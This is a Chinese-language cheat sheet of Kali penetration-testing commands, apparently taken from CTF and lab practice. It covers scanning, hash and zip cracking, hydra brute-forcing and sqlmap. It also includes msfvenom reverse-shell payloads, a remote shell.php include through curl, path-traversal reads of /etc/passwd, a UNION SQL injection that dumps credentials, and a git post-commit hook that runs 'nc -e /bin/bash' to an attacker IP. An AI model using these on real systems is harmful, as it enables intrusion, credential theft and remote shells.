kali查用工具笔记

dmitry -p 192.168.33.142这个就简单的探测端口有无开放和nmap配合用

1. 序章 — Web安全学习笔记 1.0 文档 web笔记

smtp

smtp使用

telnet登入 telnet 10.129.8.71 25

  • HELO/EHLO:这些命令发出 “Hello” 并在客户端和服务器之间启动 SMTP 连接。“HELO” 是该命令的基本版本;“EHLO” 用于一种特别类型的 SMTP。

  • MAIL FROM:这个命令告诉服务器谁在发送该电子邮件。如果 Alice 试图给她的朋友 Bob 发电子邮件,客户端可能会发送 “MAIL FROM:alice@example.com”。

  • RCPT TO:这个命令用于列出电子邮件的收件人。如果有多个收件人,客户端可多次发送该命令。如上例子中,Alice 的电子邮件客户端将发送: “RCPT TO: bob@example.com"。

  • DATA:这个命令放在电子邮件的内容前,例如:

DATA
Date: Mon, 4 April 2022
From: Alice alice@example.com
Subject: Eggs benedict casserole
To: Bob bob@example.com
​
Hi Bob,
I will bring the eggs benedict casserole recipe on Friday.
-Alice
.
  • RSET:该命令重置连接,删除所有以前传输的信息,但不关闭 SMTP 连接。RSET 在客户端发送了错误信息的情况下使用。

  • QUIT:结束连接。

smtp-user-enum

smtp-user-enum -M RCPT -U test-users.txt -t 10.10.10.77

-M RCPT表示使用RCPT(Recipient)模式,该模式主要用于验证电子邮件服务器上的有效用户。

nmap

sudo nmap -sT --min-rate 10000 -p- 10.129.91.168 -oA nmapscan/ports

grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd ','

ports=$(grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd

',')

nmap -sn 10.10.10.0/24 nmap --min-rate 10000 -p- 10.10.10.143 nmap -sT -sV -O -sC -p22,111,2049 10.10.10.143 nmap -sU --min-rate 10000 -p- 10.10.10.143

或nmap -sU --top-ports 10 10.10.10.144 试试top20端口

nmap --script=vuln -p22,111,2049 10.10.10.143

Sudo nmap - Sn 0.0.0.0/24扫描整个c端

Sn 相当于ping扫描 比sl多一点攻击性 相当于arp-scan -l

image-20231007081245208

-sS (只建立tcp连接请求第一步 快) --min-rate 速度

-sT(完整tcp三次握手 慢准) 有的墙可以检测不完整包

-p- 1-655(默认1-1000) -oA写入(A就有3种输出端口扫描结果形式)

其中一种输出形式 cat到目录下看扫描的端口

image-20231007081306497

提取数据 grep 端口多的时候可以这样用

image-20231007081318545

awk指定/做分隔符 打印第一列 Paste-s合并一行d指定分割符,

image-20231007081408360

image-20231007081412217

st是指定tcp协议 sv是各服务版本 sc是默认脚本扫描 -o是操作系统 TAB键自动补齐变量-su 是udp协议扫描 备用 -top-ports 20扫描常用20个

sudo nmap -sU --top-ports 20 192.168.255.146

烧苗ipv6的

sudo nmap -6 --min-rate 10000 -p- dead:beef::b885:d62a:d679:573f

默认漏洞脚本烧苗

21优先看(看这边有可能未授权访问) 22优先后 80最重

image-20231007081452169

nikto (扫描web的)

nikto -h http://192.168.56.249

加解密

是对md5进行hash计算echo -n '1234' |md5sum

解密base的命令

image-20231007083912088

openssl

换md5时记得加-n 不要换行 转换是要记得加-n(md5) 很多加解密都需要

Awk 是一个编辑器 | awk - F’ ’ ‘{print $1}’ 将空格作为分割 输出第一分割符的第一个语句

有的不需要-n(这边是再enc.txt下发现的,他是openssl的加密模式key)

image-20231007093206799

key是 md5加密的那个enc是解密命令 -d是解密 -a是解base64编码 -k是key -CipherType是放入openssl的加密类型

image-20231007093434842

这边的CipherType具体如何获取加密方法具体看prime的操作(后面部分)

hash-identifier 识别加密工具

也可以用jhon试试

f27794ed89ed45b9ddc1d30519bb9f7a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20231007084016976

hashcat

渗透测试--5.2.hash密码的破解hash解密西柚小萌新的博客-CSDN博客 -m是加密模式的

3200 是bcrypt 0是md5

image-20231007095042895

hashcat -m 0 -a 0 >>>>>>>>>>>>> /usr/share/wordlists/rockyou.txt

-a 0:指定攻击模式。0通常代表直接(字典)攻击,这意味着它将使用单词列表进行破解。

hashcat creds /usr/share/wordlists/rockyou.txt --user -m 0

--user告诉hashcat 文件里面的文本有用户名

admin:665a50ac9eaa781e4f7f04199db97a11 这种格式

hashcat creds /usr/share/wordlists/rockyou.txt --user -m 0 --show | tee

cracked-passwords

tee output.txt:这部分命令用于tee在屏幕上显示输出并将其保存到名为output.txt. 该tee命令负责这种双重重定向。

在 hashcat 中,--show 选项用于显示成功破解的密码。

提取和分别存储:

admin:665a50ac9eaa781e4f7f04199db97a11:paddpadd 这种格式

cat cracked-passwords | cut -d: -f1 > user

  • cat cracked-passwords:这部分命令用于cat连接并显示“cracked-passwords”文件的内容。

  • |:这是管道运算符,它将上一个命令的输出作为下一个命令的输入。

  • cut -d: -f1:该部分使用cut命令根据分隔符(-d:指定分隔符为冒号)分割输入的每一行,然后提取第一个字段(-f1)。这通常用于从具有分隔字段的文件中提取特定列。

  • > user:这部分cut使用输出重定向 ( ) 将命令的输出重定向到名为“user”的文件

cat cracked-passwords | cut -d: -f3 > pass

cat cracked-passwords | cut -d: -f1,3 | tee userpass

变admin:paddpadd

hashcat看加密在工具里是哪个代码

例如 as-rep加密的 hasgcat --help | grep -i rep 可以得到以下

nonce last bytes | --nonce-error-corrections=16

19600 | Kerberos 5, etype 17, TGS-REP | Network

Protocol

19700 | Kerberos 5, etype 18, TGS-REP | Network

Protocol

13100 | Kerberos 5, etype 23, TGS-REP | Network

Protocol

18200 | Kerberos 5, etype 23, AS-REP | Network

Protocol

hashcat -m 18200 kaorz_hash /usr/share/wordlists/rockyou.txt

crunch

crunch是一种创建密码字典工具

渗透测试--5.1.Crunch创建密码字典_wifi密码字典-CSDN博客

破解hash网站

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

jhon

它针对hash文件的

解密

image-20231007084514881

破解md5

john --format=raw-mad5 --wordlist=/usr/share/wordlists/rockyou.txt hash_md5

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.网站

(转hash文件)

zip2john winrm_backup.zip > winrm_backup.zip

john winrm_backup.zip.hash --wordlist=/usr/share/wordlists/rockyou.txt

pfx2john legacyy_dev_auth.pfx | tee legacyy_dev_auth.pfx.hash

john legacyy_dev_auth.pfx.hash --wordlist=/usr/share/wordlists/rockyou.txt

ssh2john id_rsa > id_rsa_hash

john id_rsa_hash --wordlist=/usr/share/wordlists/rockyou.txt

ssh -i id_rsa user@10.10.10.143

密钥不知道密码转hash的

目录爆破

feroxbuster

feroxbuster -u https://streamio.htb -x php -w

/usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -k

gobuster

gobuster dir -u http://192.168.255.146 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

/usr/share/wordlists/dirb/big.txt 这个字典更全

-m指定文件

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x zip,rar,txt,sql,php,html -u http://10.10.10.144

gobuster vhost -u http://ceng-company.vm/ -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt 爆破子域名 /usr/share/dnsenum/dns.txt 子域名字典 dnsum带的,但是这工具也看不了结果

gobuster dir -u http://admin.ceng-company.vm -w/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak,zip,zip.bak

多后缀

-k参数使用https

dirb

-x参数 指定文件

image-20231007085942742

dirb http://192.168.44.144 -x .zip,.txt -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

dirb http://192.168.56.254/development/ -u julius.b:wJWm4CgV26 -u参数的使用 加权限爆破,也可以用bp

dirb http://admin.ceng-company.vm /usr/share/wordlists/dirb/big.txt -x /usr/share/wordlists/dirb/extensions_common.txt 大字典 不行啊 前面是目录字典,后面的是常用的扩展名字典

dirsearch

python3 dirsearch.py -e php,txt,zip -u https://target -w db/dicc.txt --random-agents -t 100

hydra(爆破)

-t线程4 user.list是自己收集的账号

爆破密码

image-20231007084617617

hydra -L user.list -p /usr/share/wordlist/rockyou.txt ssh://192.168.44.135

hydra 192.168.44.60 mysql -l root -P /usr/share/wordlists/rockyou.txt

hydra 192.168.44.170 ssh -s 22222 -l root -P /usr/share/wordlists/rockyou.txt

hydra -L users.txt -P pass.txt cryptobank.local -f http-get /development 加页面爆破

hydra破解http的表单

hydra 10.10.10.139 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l bossfrank -P /usr/share/wordlists/rockyou.txt

(使用hydra脚本爆破,由于是post请求,参数要添加http-form-post,用两个^包围要暴力破解的插值,并写上排除的字段invalid key(即出现哪些字符表示失败)。由于hydra脚本强制要求添加一个-l参数表示login登录账号,我们这里随便填写一个即可)

hydra -C userpass streamio.htb https-post-form "/login.php:username=^USER^&password=^PASS^:F=failed"

其它的提交方法改get,或者head,http-get-form

  • /login.php:认证表单所在的登录页面。将其替换为实际的登录页面。

  • username=^USER^&password=^PASS^:指定用户名和密码的POST参数。^USER^^PASS^是 Hydra 将替换为凭证文件中的值的占位符。

  • F=failed:指定指示登录尝试失败的字符串。Hydra 使用此信息来确定登录尝试是否成功。

  • 尝试失败的字符串,需要每个网页可能是不一样的这些需要自己去看表单进行填写

  • Hydra爆破[无验证码]Web页面_hydra 网页-CSDN博客 爆破登入页面的

get

hydra -l Eugene -P wordlist.txt -t 4 -vV -f 192.168.2.1 http-get /
  • hydra:这是流行的密码破解工具 Hydra 的命令。

  • -l Eugene:指定攻击中使用的用户名。在本例中,“Eugene”是目标用户名。

  • -P wordlist.txt:指定包含攻击中使用的密码列表的文件的路径。将“wordlist.txt”替换为密码单词列表文件的实际路径。

  • -t 4:指定要运行的并行任务(线程)的数量。在本例中,它设置为 4 个线程。

  • -vV:启用详细模式,在攻击期间提供更详细的输出。

  • -f:此选项告诉 Hydra 在找到有效的用户名和密码对后立即退出。

  • 192.168.2.1:目标IP地址。将其替换为目标系统的实际 IP 地址。

  • http-get:指定服务类型为HTTP GET。

  • /:这是目标 URL 路径,在本例中为根路径(“/”)。将其替换为目标系统上登录页面的实际路径。

curl

正常使用

curl http://x.xx.xx.xx/xx/xx/xx/xx?urlConfig=../../../../../../../../../etc/passwd

以url编码并且post传递

curl --data-urlencode "urlConfig=../../../../../etc/passwd" http://xx.xx.xx.xx/xx/xx/xx/xx.php

curl -X POST –k https://192.168.1.101:12322/file_view.php -d "file=../../../../../etc/passwd"

curl -X POST 'https://streamio.htb/admin/?debug=master.php' -k -b 'PHPSESSID=cd4mphnq8j1n6m2i63ne1dmtjp' -d 'include=http://10.10.16.16/shell.php'

  • curl这是一个用于发出 HTTP 请求的命令行工具。

  • -X POST该选项指定请求应该是POST请求。

  • 'https://streamio.htb/admin/?debug=master.php'这是发出 POST 请求的 URL。它包括一个查询参数debug=master.php

  • -k此选项用于允许curl在没有证书的情况下连接到 SSL 站点。访问https

  • -b 'PHPSESSID=cd4mphnq8j1n6m2i63ne1dmtjp'这会将 cookie 的值设置PHPSESSIDcd4mphnq8j1n6m2i63ne1dmtjp

  • -d 'include=http://10.10.16.16/shell.php'该选项用于在HTTP POST 请求中发送数据。include它发送带有值的参数http://10.10.16.16/shell.php

curl -s -d "username=admin" -d "password=icantrememberthispasswordcanyou" http://sqhell.thm/login

  • -s:此选项代表“静音”或“安静”。它使curl操作在不显示进度或错误消息的模式下进行。

  • -d "username=admin" -d "password=icantrememberthispasswordcanyou":这些选项用于发送 POST 数据。在本例中,它发送一个 POST 请求,参数“用户名”设置为“admin”,“密码”设置为“icantrememberthispasswordcanyou”。

  • http://sqhell.thm/login:这是 POST 请求发送到的 URL。在本例中,它是一个登录页面。

msf

生成的反弹木马

sudo msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.14.11 lport=4343 -f raw > payload.jsp

sudo msfvenom -p cmd/unix/reverse_bash lhost=192.168.44.143 lpoort=44e -f raw

sudo msfvenom -p cmd/unix/reverse_python lhost=10.10.10.3 lport=4444 -f raw

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.255.129 lport=7777 -o shell.php

msfconsole

1.启动监听模块:use exploit/multi/handler

2.输入php类型反弹连接:set payload php/meterpreter/reverse_tcp 和前面一致

3.指定监听的主机和端口:set lhost 192.168.60.128 --> set lport 7777

4.开始监听:exploit/run

或者直接nc -lvnp

成功拿到的系统shell,如何升级meterpreter shell? 系统shell模样:

meterpreter shell模样:

从系统shell升级到meterpreter shell,首先,把系统shell退到后台运行 在系统shell 界面按 Ctrl + z ,然后选择 Y Background session 2? [y/N] y

然后输入命令 sessions ,查看系统shell 的session id 是1 输入升级session 命令: sessions -u 1 成功后,看到sessions中出现了meterpreter shell 用 sessions -i 2 进去就可以了。 2 为sessions 命令中 meterpreter shell 的id。

可以在反弹shell里面执行,将shell反弹到msf上

use exploit/multi/script/web_delivery

set lhost 192.168.1.107

set srvhost 192.168.1.107

exploit

创建一个python漏洞脚本,反弹到msf上

Lotus CMS

use exploit/multi/http/lcms_php_exec

set rhost 靶机ip

set uri /cms/

exploit

tomca(8080)

Tomcat | HackTricks | HackTricks

游览器访问8080

使用Metasploits Tomcat Manager的默认用户名tomcat和默认密码tomcat登录到tomcat管理后台。 也可以用msf的multi/http/tomcat_mgr_login

image-20231016103459668

image-20231016103445744

msf6 exploit(multi/http/tomcat_mgr_upload) > set rhost 192.168.44.142 rhost => 192.168.44.142 msf6 exploit(multi/http/tomcat_mgr_upload) > set rport 8080 rport => 8080 msf6 exploit(multi/http/tomcat_mgr_upload) > set httppassword tomcat httppassword => tomcat msf6 exploit(multi/http/tomcat_mgr_upload) > set httpusername tomcat httpusername => tomcat msf6 exploit(multi/http/tomcat_mgr_upload) > run

Drupal CMS

image-20231016104741296

use exploit/unix/webapp/drupal_drupalgeddon2

set rhost 靶机ip

set targeturi /drupal

exploit

portfwd(端口转发)

Metasploit Unleashed | Portfwd | OffSec

meterpreter

portfwd add -l 8983 -p 8983 -r 172.17.0.1 端口转发 这个是转发到127.0.0.1

-L <opt> 转发: 本地监听地址 反向: 本地主机连接到某个地址 -R 表示正向反向端口 -h 帮助信息 -i <opt> 端口转发条目的索引与交互(请参阅“列表”命令) -l <opt> 转发:本地端口收听 反向:本地端口连接 -p <opt> 转发:远程端口连接 反向:远程端口监听 -r <opt> 转发:连接到远程主机

whatweb

分析网站内容和技术

whatweb -v -a 3 34.82.112.5

wpscan

wpscan扫描工具 - 墨天轮

wpscan *-enumerate* *枚举所有用户的参数*(也可用cmsseek) 扫描cms

wpscan --url http://192.168.44.164/wp-login.php --passwords /usr/share/wordlists/rockyou.txt --usernames admin

wpscan --url xx.xx.xx.xx/wordpress -eu

wpscan -u 127.0.0.1/wordpress -e u vp --random-agent -o result.txt

-e使用枚举方式  
u 扫描枚举用户ID1-ID10
vp扫描漏洞插件
--random-agent 使用随机请求头防止waf拦截
-o 将结果导出为你result.txt
参数用途
–update更新
-u/–url后面加要扫描的站点
-e/–enumerate枚举
u用户名
p枚举插件
ap枚举所有插件
vp枚举有漏洞的插件
t枚举主题
at枚举所有主题
vt枚举有漏洞的主题
-w/–wordlist后面加字典
-U/–username指定用户

wordpress

http://102.168.60.131/wordpress/wp-login.php 默认登入页面

nanocms

信息泄露

/~andy//data/pagesdata.txt

wfuzz

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.60.131/index.php?FUZZ

子域名

wfuzz -H 'HOST: FUZZ.ceng-company.vm' -u 'http://192.168.159.181' -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hw 76,53

wfuzz -u http://streamio.htb -H “Host: FUZZ.streamio.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 315

加cookie凭据

wfuzz -u https://streamio.htb/admin/?FUZZ= -w

/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Cookie:

PHPSESSID=cd4mphnq8j1n6m2i63ne1dmtjp" --hh 1678

命令行的筛选

find / -name ‘pass’ 2>/dev/null |less |sort 找根目录 ‘’加通配符加关键字 2后面是把不能找到的丢掉 less和sort是排序和分屏

find /name 'backup' 2>/dev/null | sort | less

后面的sort less 可以一屏一屏显示不会一闪而过

Grep -r -i pass /home/* 2>dev/null

· *grep*:用于搜索文本的命令。

· *-R*:递归搜索,表示在指定目录及其子目录中搜索。

· *-i*:表示不区分大小写,即无论文本是否为大写或小写都会匹配。

· *pass*:要搜索的文本字符串。

· */home/**:要搜索的目录路径,*/home/**表示搜索*/home*目录中的所有子目录。

Cat cred.lst | awk -F ‘ ’ ‘{print $x}’ | awk -F’@’ ‘{print $1}’

awk -F ':' '{print $1}' /etc/passwd 提取用户名

cat user_creds_raw

1 nikk37

389d14cb8e4e9b94b137deb1caf0612a

cat user_creds_raw | awk -F' ' '{print $2":"$3}' | tee user_creds

nikk37:389d14cb8e4e9b94b137deb1caf0612a

curl -X POST 'https://watch.streamio.htb/search.php' -d “q=RedteamNotes' union

select 1,concat(username,':',password),3,4,5,6 from users -- ” -k -s | grep h5 |

sed -e 's/<h5 class="p-2">//g' -e 's/<\/h5>//g'| tr -d " \t"

| sed -e 's/<h5 class="p-2">//g' -e 's/<\/h5>//g'

  1. sed -e 's/<h5 class="p-2">//g'

    • -e 表示后面跟随的是一个sed脚本。

    • s/<h5 class="p-2">//g

      表示要进行替换的操作。具体来说:

      • s/ 表示进行替换。

      • <h5 class="p-2"> 是要被替换的字符串,这是一个HTML <h5> 标签,带有 class="p-2" 属性。

      • // 是替换为空的目标,即将匹配的字符串替换为空,即删除匹配的字符串。

      • g 表示全局替换,即一行中的所有匹配都会被替换。

    所以,这部分的作用是删除文本中所有匹配 <h5 class="p-2"> 的字符串。

  2. -e 's/<\/h5>//g'

    • 同样,这部分也是一个sed脚本,用于删除HTML标签 </h5>

    • s/<\/h5>//g

      的解释如下:

      • s/ 表示进行替换。

      • <\/h5> 是要被替换的字符串,这是HTML中闭合的 <h5> 标签。

      • // 是替换为空的目标,即将匹配的字符串替换为空,即删除匹配的字符串。

      • g 表示全局替换,即一行中的所有匹配都会被替换。

    所以,这部分的作用是删除文本中所有匹配 </h5> 的字符串。

综合起来,这个sed命令的作用是删除文本中所有 <h5 class="p-2"></h5> 这两个HTML标签,保留标签之间的内容。这种文本处理通常用于从HTML文档中提取或清理文本内容。

| tr -d " \t"

  • tr 是一个字符替换命令,用于转换或删除输入中的字符。

  • -d 选项表示删除指定的字符。

  • " \t" 是要删除的字符集,其中包括空格和制表符。

因此,tr -d " \t" 的作用是将输入中的空格和制表符删除。

sqlmap

‘尝试sql注入有的’

直接sqlmap自动化 -batch -dump

post提交的话,就抓有sql注入的那页面的代码,复制到文件里面

sqlmap -r 1.txt --dbs

常规使用:

sqlmap -u “http://192.168.44.150/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

-D joomladb --tables

-D joomladb -T "#__users" --columns

sqlmap -u "http://192.168.44.150/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]

-D joomladb -T “#__users” -C username --dump 爆表

sqlmap -u "http://192.168.10.1/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入

sqlmap -u "http://sqhell.thm/login" --method=POST --data="username=admin&password=" -p "username,password" --dbms=mysql -D sqhell_2 --dump-all --threads 10

  • --method=POST:指定请求使用的 HTTP 方法,在本例中为 POST 请求。

  • --data="username=admin&password=":提供要发送到服务器的POST数据。有效负载被注入到“用户名”参数中,并为“密码”参数提供空值。

  • -p "username,password":指定SQL注入测试的参数。在本例中,它正在寻找“用户名”和“密码”参数中的漏洞。

waf绕过

--identify-waf 检测是否有WAF #使用参数进行绕过 --random-agent 使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候 --time-sec=3 使用长的延时来避免触发WAF的机制,这方式比较耗时 --hpp 使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上 --proxy=100.100.100.100:8080 --proxy-cred=211:985 使用代理进行绕过 --ignore-proxy 禁止使用系统的代理,直接连接进行注入 --flush-session 清空会话,重构注入 --hex 或者 --no-cast 进行字符码转换 --mobile 对移动端的服务器进行注入 --tor 匿名注入

指定脚本进行绕过(—tamper)

探测等级和危险等级(—level —risk)

Sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5

sqlmap一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为3级,—risk=3

crackmapexec

只有加号才显示

Sudo crackmapexec ssh xx.xx.xx.xx -p xx -u xx ---continue-on-success | grep ‘+’

图片

exiftools

看图像工具隐写数据啥的

exiftool+图片名字

wget先下载再看

xdg-open

xdg-open Russian\beauty.jepg

这个是图像查看器

steghide

sudo steghide extract -sf spinning\the\wool.jpeg

将secret.txt文件隐藏到text.jpg中: #steghide embed -cf test.jpg -ef secret.txt -p 123456

从text.jpg解出secret.txt: #steghide extract -sf test.jpg -p 123456

提取隐写的文件

extract: 这是steghide的一个子命令,用于提取隐藏在图像中的秘密数据

steghide: 这是一个开源的隐写术工具,用于隐藏和提取数据(通常是文本或文件)在多媒体文件(如图像和音频)中。它通常用于保护和传输秘密信息。-sf` 标志用于指定要从中提取隐藏数据的源文件

steghide extract -sf h1dd3n.jpg -p n30 -p指定提取的密码或用户

image-20231120090433637

还有一个名为h1dd3n.jpg的 jpeg 文件被注释掉,这是一个经典的隐写术挑战。

zsteg

可以检测PNG和BMP图片里的隐写数据。

zsteg -a

Steganography Online 在线网站

解压文件

7z x backup.7z

smb(445)

crackmapexec

crackmapexec smb 10.129.228.115 -u kaorz -p Roper4155 --shares

--shares: 这是指定执行 SMB 操作时的模块,用于列出目标主机上的共享资源。

crackmapexec smb 10.129.228.115 可以探测有没有

enum4linux

Enum4linux是用于枚举windows和Linux系统上的SMB服务的工具。可以轻松的从与*SMB**服务***有关的目标中快速提取信息。

enum4linux 192.168.190.132 这边枚举出共享文件名字

smbclient(445)

smbclient.py -k scrm.local/ksimpson:ksimpson@dc1.scrm.local -dc-ip dc1.scrm.local

smbclient -U LicorDebellota.htb/kaorz

//10.129.228.115/netlogon

help给出命令:

shares显示股票:

use public

get Network Security Changes.pdf

这个命令需要输入密码

-U LicorDebellota.htb/kaorz: 这是指定用户名的选项。在这里,LicorDebellota.htb 是目标域的名称,kaorz 是提供的用户名。

smbmap -H 10.129.228.115 -u kaorz -p Roper4155

smbmap -H timelapse.htb -u guest 看内容和权限,可以⽤-R参数递归地看具体的内容

smbmap -H 10.129.82.223 -u guest -R 直接可以看全部可以共享的

开放445,进入smb

sudo smbclient //192.168.28.30/smbdata

smbclient -L 192.168.28.30 可以查看分享目录的列表

远程挂载操作

smbclient //192.168.44.159/share$

mount -O username=' ',password=' ' //192.168.44.159/share$ /mnt (账号密码为空)

mount -t cifs //10.129.144.55/backups /mnt/123 -o user=,password=

-t cifs:指定要挂载的文件系统类型,在本例中为 CIFS(通用 Internet 文件系统),用于在 Linux 上挂载 Windows 共享。

简单使用

prompt 后面不用确定

mget 一次下载多个

crackmapexec smb 10.129.64.95

⽆法枚举和与smb交互,crackmapexec探测到smb的存在,显示有dc域,增加到kali的hosts⽂件中。

smbmap(爆破用户名)

smbmap -H ip

关于-N参数,它的作用是在没有提供用户名和密码的情况下进行连接。通常,如果你不使用-N参数

ssh

本地制作密钥上传(ssh,ftp开启)

ssh-keygen -t rsa 创建公私钥对

借助上面列举的凭据“ smbuser:rootroot1 ”,我们登录到 FTP 并在 /home/smbuser 中创建一个名为 .ssh 的文件夹,然后尝试将我们在上述步骤中生成的 id_rsa.pub 作为authorized_keys 上传到.ssh 目录。

ftp 192.168.2.5
pwd
mkdir .ssh
cd .ssh
put /root/.ssh/.id_rsa.pub authorized_keys
exit

authorized_keys 文件是SSH(Secure Shell)协议用于身份验证的一部分。在SSH中,authorized_keys 文件包含了一组被授权的公钥,用于验证远程用户的身份。

当你使用SSH密钥对进行身份验证时,你会在服务器上的用户家目录下找到 ~/.ssh/ 目录。在这个目录中,authorized_keys 文件存储了所有被授权访问该用户账户的公钥。

每个公钥占据该文件的一行。当你尝试通过SSH连接到服务器时,服务器会检查你提供的私钥是否与 authorized_keys 文件中的任何公钥匹配。如果匹配成功,你就被允许访问服务器。

ssh -i id_rsa smbuser@192.168.2.5

进ftp 记得输入binary

ssh可以下载文件(scp)

image-20231014113615811

用ssh的scp下载 目录到本地的paintings下

ssh用户枚举漏洞进行测试

可以用cewl制作字典 cewl http://192.168.44.142/ -w user.txt

searchsploit ssh

40136.py

python 40136.py 192.168.44.142 -U user.txt

aircrack(破解无线密码802.11`(无线网协议)

aircrack-ng -w /usr/share/wordlists/rockyou.txt WPA-01.cap

.cap文件是靶机下载的

图片隐写工具

Steghide是一个可以将文件隐藏到图片或音频中的工具

安装:apt install steghide

隐藏文件

steghide embed -cf [文件载体] -ef [待隐藏文件]

查看文件信息

steghide info [文件]

提取隐藏信息

steghide extract -sf [文件]

pop3(110)

telnet 119.119.119.212 110(或者用nc)

user username ---------------------输入用户名, username 为具体的用户名 +OK -------------------------------执行命令成功 pass password 输入密码

list 列出每封邮件的字节数

retr 1 ---------------------------接收第 1 封邮件

压缩包

zip –password 1234 crackl.zip demo.txt

unzip -l winrm_backup.zip 可以提前看里面的内容如果有密码的话

unzip解压

破解压缩包fcrackzip

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u crack.zip 指定字典

-b 指定为暴力破解

-D 指定字典来暴力破解

-c 指定字符集,字符集 格式只能为 -c 'aA1!:'

a 表示小写字母[a-z]

A 表示大写字母[A-Z]

1 表示阿拉伯数字[0-9]

! 感叹号表示特殊字符[!:$%&/()=?{[]}+*~#]

: 表示包含冒号之后的字符(不能为二进制的空字符),例如 a1:$% 表示 字符集包含小写字母、数字、$字符和%百分号

-l 指定密码长度,如:-l 1-5

-u 只显示破解出来的密码,其他错误的密码不显示出

fcrackzip -b -c ‘1’ -l 1-5 -u crack.zip,来使用字符集来破解当前crack.zip文件的密码。此指令的意思:使用数字字符集和1到5的字符长度来暴力破解

john格式转换

7z2john backup.7z > backup7z_hash

john --format=7z --wordlist=/usr/share/wordlists/rockyou.txt backup7z_hash

生成7z的hash后,使用字典rockyou.txt进行压缩包的密码暴力破解,指定形式为7z格式:

--format=7z 参数指定了要使用的哈希格式。具体来说,这个参数告诉 John the Ripper 工具使用 7-Zip 压缩文件的哈希格式进行破解。

git

git clone GitHub - ameerpornillos/flappy: flappy bird game git到本地

进入

git log -p---查看每一个源码的详细信息

摁空格向下翻,翻到(END)结束是得到

python2 GitHack.py http://repo.gitroot.vuln/.git/

.git仓库

find / -name .git 2>/dev/null

img

cd /opt/auth/.git/logs/refs/heads/ 进入它的head目录

ls -lna | sort -n -r 按大小排列,查看第一个比较大的 ( cat ls -n 这个是查看所有的)

cat dev-43

414 b2ab5f540baab4c299306e16f077d7a6f6556ca3 06fbefc1da56b8d552cfa299924097ba1213dd93 Your Name you@example.com 1590500148 -0400 commit: added some stuff 看起来这是一个Git提交记录的信息。下面是对提交记录信息的解释:

  • Commit Hash(提交哈希): b2ab5f540baab4c299306e16f077d7a6f6556ca3 这是Git版本控制系统为每个提交分配的唯一标识符。通过这个哈希值,你可以在版本历史中唯一地标识这个提交。

  • Author(作者): Your Name <you@example.com> 提交的作者信息,包括姓名和电子邮件地址。在Git中,这是在提交时设置的身份信息。

  • Timestamp(时间戳): 1590500148 -0400 提交的时间戳,表示提交发生的时间。时间戳以Unix时间格式给出,然后是时区信息(-0400表示时区为东部夏令时)。

  • Commit Message(提交消息): commit: added some stuff 提交消息是作者提供的对于这个提交目的和更改的简要描述。在这个例子中,提交的目的是“added some stuff”。

好像是添加用户

hook和psot-commit

gitshow b2ab5f540baab4c299306e16f077d7a6f6556ca3 看一下内容

在Git版本控制系统中,hook 文件是一种脚本文件,它允许你在特定的Git事件发生时触发自定义操作。这些脚本存储在Git仓库的 .git/hooks/ 目录中。其中,post-commit 是一种特定类型的 Git hook。

post-commit hook 是在每次成功的提交后执行的脚本。它通常用于执行一些与提交后处理相关的任务,例如发送通知、更新文档、触发构建等。在 .git/hooks/ 目录下,你可以找到一个 post-commit.sample 文件,你可以将其重命名为 post-commit 并编辑其内容以执行你想要的操作。

cd betch

mkdir -p .git/hooks

具体而言,这个命令使用了 -p 选项,这使得命令会递归地创建指定的目录,如果目录不存在的话。所以,如果 .git/hooks 目录不存在,那么它就会被创建。这是确保在仓库中设置Git钩子的一种常见方式。

cd .git/hook/

vim post-commit

#! /bin/bash

/usr/bin/nc -e /bin/bash 192.168.44.184 5555

chmod 777 post-commit

cd /home/beth

7z a xshell.zip .git/

ls -l xshell.zip

chomd 777 xshell.zip

ls -l xshell.zip

-rwxrwxrwx 1 beth beth 489 Jun 6 11:16 xshell.zip

子域名爆破

dnsenum --dnsserver 192.168.44.185 greenoptic.vm

dig @192.168.44.185 greenoptic.vm axfr

这个可以扫描这个ip的所有dns解析

AXFR(权威转移)查询用于从权威 DNS 服务器转移整个 DNS 区域。这对于获取指定区域中所有域记录的完整列表非常有用

gobuster vhost -u http://ceng-company.vm/ -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt 爆破子域名 /usr/share/dnsenum/dns.txt 子域名字典 dnsum带的,但是这工具也看不了结果

wireshark

【网络安全】最适合小白的WireShark使用教程(超详细保姆级)_哔哩哔哩_bilibili

